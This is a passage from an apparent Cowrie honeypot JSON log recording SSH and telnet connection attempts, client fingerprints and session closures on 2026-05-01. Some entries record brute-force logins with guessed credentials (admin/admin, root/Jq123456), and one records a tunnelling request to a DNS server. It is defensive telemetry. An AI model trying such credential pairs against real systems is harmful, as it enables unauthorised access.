a-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:45.090296Z","src_ip":"87.251.64.176","session":"36792acdaf4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":46256,"dst_ip":"159.203.135.109","dst_port":23,"session":"60686ccc44a5","protocol":"telnet","message":"New connection: 147.124.211.111:46256 (159.203.135.109:23) [session: 60686ccc44a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:45.166275Z"}
{"eventid":"cowrie.session.closed","duration":5.184963226318359,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:45.200414Z","src_ip":"137.184.155.248","session":"26f5c9c7ad3c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.983309745788574,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:45.296250Z","src_ip":"147.124.211.111","session":"64ff6c8a5802","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.85003972053528,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:45.369560Z","src_ip":"147.124.211.111","session":"26fa3d7d37a7","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:45.379494Z","src_ip":"87.251.64.176","session":"36792acdaf4a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:45.480347Z","session":"36792acdaf4a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:45.577984Z","src_ip":"87.251.64.176","session":"36792acdaf4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:45.677702Z","src_ip":"87.251.64.176","session":"36792acdaf4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":46258,"dst_ip":"159.203.135.109","dst_port":23,"session":"ed484a69a570","protocol":"telnet","message":"New connection: 147.124.211.111:46258 (159.203.135.109:23) [session: ed484a69a570]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:45.744220Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":46274,"dst_ip":"159.203.135.109","dst_port":23,"session":"49061cad0c96","protocol":"telnet","message":"New connection: 147.124.211.111:46274 (159.203.135.109:23) [session: 49061cad0c96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:46.441528Z"}
{"eventid":"cowrie.session.closed","duration":30.75460982322693,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:47.022884Z","src_ip":"147.124.211.111","session":"03419edf3db1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.729400396347046,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:47.135804Z","src_ip":"147.124.211.111","session":"4b6a602c6803","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":46268,"dst_ip":"159.203.135.109","dst_port":23,"session":"abb9f0151621","protocol":"telnet","message":"New connection: 147.124.211.111:46268 (159.203.135.109:23) [session: abb9f0151621]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:47.203944Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":46276,"dst_ip":"159.203.135.109","dst_port":23,"session":"ba3b1b84d5d7","protocol":"telnet","message":"New connection: 147.124.211.111:46276 (159.203.135.109:23) [session: ba3b1b84d5d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:47.844093Z"}
{"eventid":"cowrie.session.closed","duration":30.516300439834595,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:49.074779Z","src_ip":"147.124.211.111","session":"46d53fe1e002","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":46288,"dst_ip":"159.203.135.109","dst_port":23,"session":"9054be7db5b7","protocol":"telnet","message":"New connection: 147.124.211.111:46288 (159.203.135.109:23) [session: 9054be7db5b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:49.522399Z"}
{"eventid":"cowrie.session.closed","duration":31.16731095314026,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:49.529440Z","src_ip":"147.124.211.111","session":"dec5afe81596","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":46290,"dst_ip":"159.203.135.109","dst_port":23,"session":"61c9d1d4672c","protocol":"telnet","message":"New connection: 147.124.211.111:46290 (159.203.135.109:23) [session: 61c9d1d4672c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:49.565489Z"}
{"eventid":"cowrie.session.closed","duration":30.977341890335083,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:50.159724Z","src_ip":"147.124.211.111","session":"3145b0ab6c07","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.056539058685303,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:50.382748Z","src_ip":"147.124.211.111","session":"e53d8aa417a3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":46278,"dst_ip":"159.203.135.109","dst_port":23,"session":"9bba798d2528","protocol":"telnet","message":"New connection: 147.124.211.111:46278 (159.203.135.109:23) [session: 9bba798d2528]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:50.481848Z"}
{"eventid":"cowrie.session.closed","duration":30.63587212562561,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:50.590261Z","src_ip":"147.124.211.111","session":"8bdd578fbaaa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":50806,"dst_ip":"159.203.135.109","dst_port":23,"session":"921210db4203","protocol":"telnet","message":"New connection: 147.124.211.111:50806 (159.203.135.109:23) [session: 921210db4203]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:51.157967Z"}
{"eventid":"cowrie.session.closed","duration":31.315581560134888,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:51.446769Z","src_ip":"147.124.211.111","session":"092eb70acbba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.756800413131714,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:51.591852Z","src_ip":"147.124.211.111","session":"dca86a9c5119","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":34304,"dst_ip":"10.17.0.5","dst_port":23,"session":"a7be3e25fc8e","protocol":"telnet","message":"New connection: 137.184.155.248:34304 (10.17.0.5:23) [session: a7be3e25fc8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:51.689869Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":50796,"dst_ip":"159.203.135.109","dst_port":23,"session":"4ba8e1b3cffd","protocol":"telnet","message":"New connection: 147.124.211.111:50796 (159.203.135.109:23) [session: 4ba8e1b3cffd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:51.876088Z"}
{"eventid":"cowrie.session.closed","duration":31.989804983139038,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:52.018254Z","src_ip":"147.124.211.111","session":"a974b23f5bfa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.506438970565796,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:52.170966Z","src_ip":"147.124.211.111","session":"b4bc072d3832","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":50822,"dst_ip":"159.203.135.109","dst_port":23,"session":"b61db1a20639","protocol":"telnet","message":"New connection: 147.124.211.111:50822 (159.203.135.109:23) [session: b61db1a20639]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:52.319064Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":50828,"dst_ip":"159.203.135.109","dst_port":23,"session":"6ab4ce32ff4b","protocol":"telnet","message":"New connection: 147.124.211.111:50828 (159.203.135.109:23) [session: 6ab4ce32ff4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:52.494282Z"}
{"eventid":"cowrie.session.closed","duration":30.649048805236816,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:52.608531Z","src_ip":"147.124.211.111","session":"07f862b7fbc4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.28979992866516,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:52.714661Z","src_ip":"147.124.211.111","session":"a17db10a6076","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":50840,"dst_ip":"159.203.135.109","dst_port":23,"session":"84cb0f75de81","protocol":"telnet","message":"New connection: 147.124.211.111:50840 (159.203.135.109:23) [session: 84cb0f75de81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:52.744199Z"}
{"eventid":"cowrie.session.closed","duration":31.027031898498535,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:53.078341Z","src_ip":"147.124.211.111","session":"1e0876cfe086","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.419205904006958,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:53.082923Z","src_ip":"147.124.211.111","session":"927a64d5ba71","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":50850,"dst_ip":"159.203.135.109","dst_port":23,"session":"c4d13cea2d27","protocol":"telnet","message":"New connection: 147.124.211.111:50850 (159.203.135.109:23) [session: c4d13cea2d27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:53.183837Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":50862,"dst_ip":"159.203.135.109","dst_port":23,"session":"7f12b9792465","protocol":"telnet","message":"New connection: 147.124.211.111:50862 (159.203.135.109:23) [session: 7f12b9792465]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:53.254591Z"}
{"eventid":"cowrie.session.closed","duration":31.137435913085938,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:53.383166Z","src_ip":"147.124.211.111","session":"34a87d7b76b2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":50878,"dst_ip":"159.203.135.109","dst_port":23,"session":"2e47635198db","protocol":"telnet","message":"New connection: 147.124.211.111:50878 (159.203.135.109:23) [session: 2e47635198db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:54.106936Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":50896,"dst_ip":"159.203.135.109","dst_port":23,"session":"51bab016f521","protocol":"telnet","message":"New connection: 147.124.211.111:50896 (159.203.135.109:23) [session: 51bab016f521]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:54.407692Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":50926,"dst_ip":"159.203.135.109","dst_port":23,"session":"eb33cc79b2e6","protocol":"telnet","message":"New connection: 147.124.211.111:50926 (159.203.135.109:23) [session: eb33cc79b2e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:54.979830Z"}
{"eventid":"cowrie.session.closed","duration":30.84714126586914,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:55.025059Z","src_ip":"147.124.211.111","session":"5dd7edbcf34e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":50940,"dst_ip":"159.203.135.109","dst_port":23,"session":"505616eb7298","protocol":"telnet","message":"New connection: 147.124.211.111:50940 (159.203.135.109:23) [session: 505616eb7298]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:55.033512Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":44730,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf5fae4fa071","protocol":"telnet","message":"New connection: 137.184.155.248:44730 (10.17.0.5:23) [session: bf5fae4fa071]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:55.537160Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":50910,"dst_ip":"159.203.135.109","dst_port":23,"session":"93ee4c53562b","protocol":"telnet","message":"New connection: 147.124.211.111:50910 (159.203.135.109:23) [session: 93ee4c53562b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:55.972006Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":50886,"dst_ip":"159.203.135.109","dst_port":23,"session":"7bb1c7edba79","protocol":"telnet","message":"New connection: 147.124.211.111:50886 (159.203.135.109:23) [session: 7bb1c7edba79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:57.265927Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":50958,"dst_ip":"159.203.135.109","dst_port":23,"session":"c5e2dbeb8c30","protocol":"telnet","message":"New connection: 147.124.211.111:50958 (159.203.135.109:23) [session: c5e2dbeb8c30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:57.664437Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":50966,"dst_ip":"159.203.135.109","dst_port":23,"session":"5c86c48e5192","protocol":"telnet","message":"New connection: 147.124.211.111:50966 (159.203.135.109:23) [session: 5c86c48e5192]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:57.790864Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":44744,"dst_ip":"10.17.0.5","dst_port":23,"session":"110d3ac2df93","protocol":"telnet","message":"New connection: 137.184.155.248:44744 (10.17.0.5:23) [session: 110d3ac2df93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:57.975663Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":50984,"dst_ip":"159.203.135.109","dst_port":23,"session":"14890ebd62d6","protocol":"telnet","message":"New connection: 147.124.211.111:50984 (159.203.135.109:23) [session: 14890ebd62d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:58.529544Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":44754,"dst_ip":"10.17.0.5","dst_port":23,"session":"693309c703ce","protocol":"telnet","message":"New connection: 137.184.155.248:44754 (10.17.0.5:23) [session: 693309c703ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:58.573602Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":50954,"dst_ip":"159.203.135.109","dst_port":23,"session":"e03332ab0190","protocol":"telnet","message":"New connection: 147.124.211.111:50954 (159.203.135.109:23) [session: e03332ab0190]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:58.595644Z"}
{"eventid":"cowrie.session.closed","duration":30.917808771133423,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:58.810699Z","src_ip":"147.124.211.111","session":"919db7990f94","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.157.98.118","src_port":40488,"dst_ip":"159.203.135.109","dst_port":22,"session":"2f82a75c2c3f","protocol":"ssh","message":"New connection: 43.157.98.118:40488 (159.203.135.109:22) [session: 2f82a75c2c3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:59.036886Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:59.044009Z","src_ip":"43.157.98.118","session":"2f82a75c2c3f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:59.136443Z","src_ip":"43.157.98.118","session":"2f82a75c2c3f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":50986,"dst_ip":"159.203.135.109","dst_port":23,"session":"67220c8d32fe","protocol":"telnet","message":"New connection: 147.124.211.111:50986 (159.203.135.109:23) [session: 67220c8d32fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:59.182063Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":51008,"dst_ip":"159.203.135.109","dst_port":23,"session":"b47a2fe37348","protocol":"telnet","message":"New connection: 147.124.211.111:51008 (159.203.135.109:23) [session: b47a2fe37348]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:59.246997Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Jq123456","message":"login attempt [root/Jq123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:59.511478Z","src_ip":"43.157.98.118","session":"2f82a75c2c3f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":50994,"dst_ip":"159.203.135.109","dst_port":23,"session":"f08797b49b8d","protocol":"telnet","message":"New connection: 147.124.211.111:50994 (159.203.135.109:23) [session: f08797b49b8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:00.260803Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":57020,"dst_ip":"159.203.135.109","dst_port":23,"session":"a5a9ddfdcbfd","protocol":"telnet","message":"New connection: 147.124.211.111:57020 (159.203.135.109:23) [session: a5a9ddfdcbfd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:00.350348Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":57048,"dst_ip":"159.203.135.109","dst_port":23,"session":"d44389530c27","protocol":"telnet","message":"New connection: 147.124.211.111:57048 (159.203.135.109:23) [session: d44389530c27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:00.552727Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":57034,"dst_ip":"159.203.135.109","dst_port":23,"session":"4d1819ad4b6c","protocol":"telnet","message":"New connection: 147.124.211.111:57034 (159.203.135.109:23) [session: 4d1819ad4b6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:00.556678Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:00.619331Z","src_ip":"43.157.98.118","session":"2f82a75c2c3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.43095636367798,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:00.712066Z","src_ip":"147.124.211.111","session":"b0b7eabd70ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":57056,"dst_ip":"159.203.135.109","dst_port":23,"session":"10db31a63f47","protocol":"telnet","message":"New connection: 147.124.211.111:57056 (159.203.135.109:23) [session: 10db31a63f47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:01.746571Z"}
{"eventid":"cowrie.session.closed","duration":31.225359678268433,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:01.779727Z","src_ip":"147.124.211.111","session":"7d8ddf7d349c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.681658506393433,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:01.940996Z","src_ip":"147.124.211.111","session":"d9e7321c47d6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.61237907409668,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:01.986035Z","src_ip":"147.124.211.111","session":"abfa116cac56","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":57062,"dst_ip":"159.203.135.109","dst_port":23,"session":"d48cf49c6a30","protocol":"telnet","message":"New connection: 147.124.211.111:57062 (159.203.135.109:23) [session: d48cf49c6a30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:03.028018Z"}
{"eventid":"cowrie.session.closed","duration":31.094831705093384,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:03.091615Z","src_ip":"147.124.211.111","session":"b144af86d31c","protocol":"telnet"}
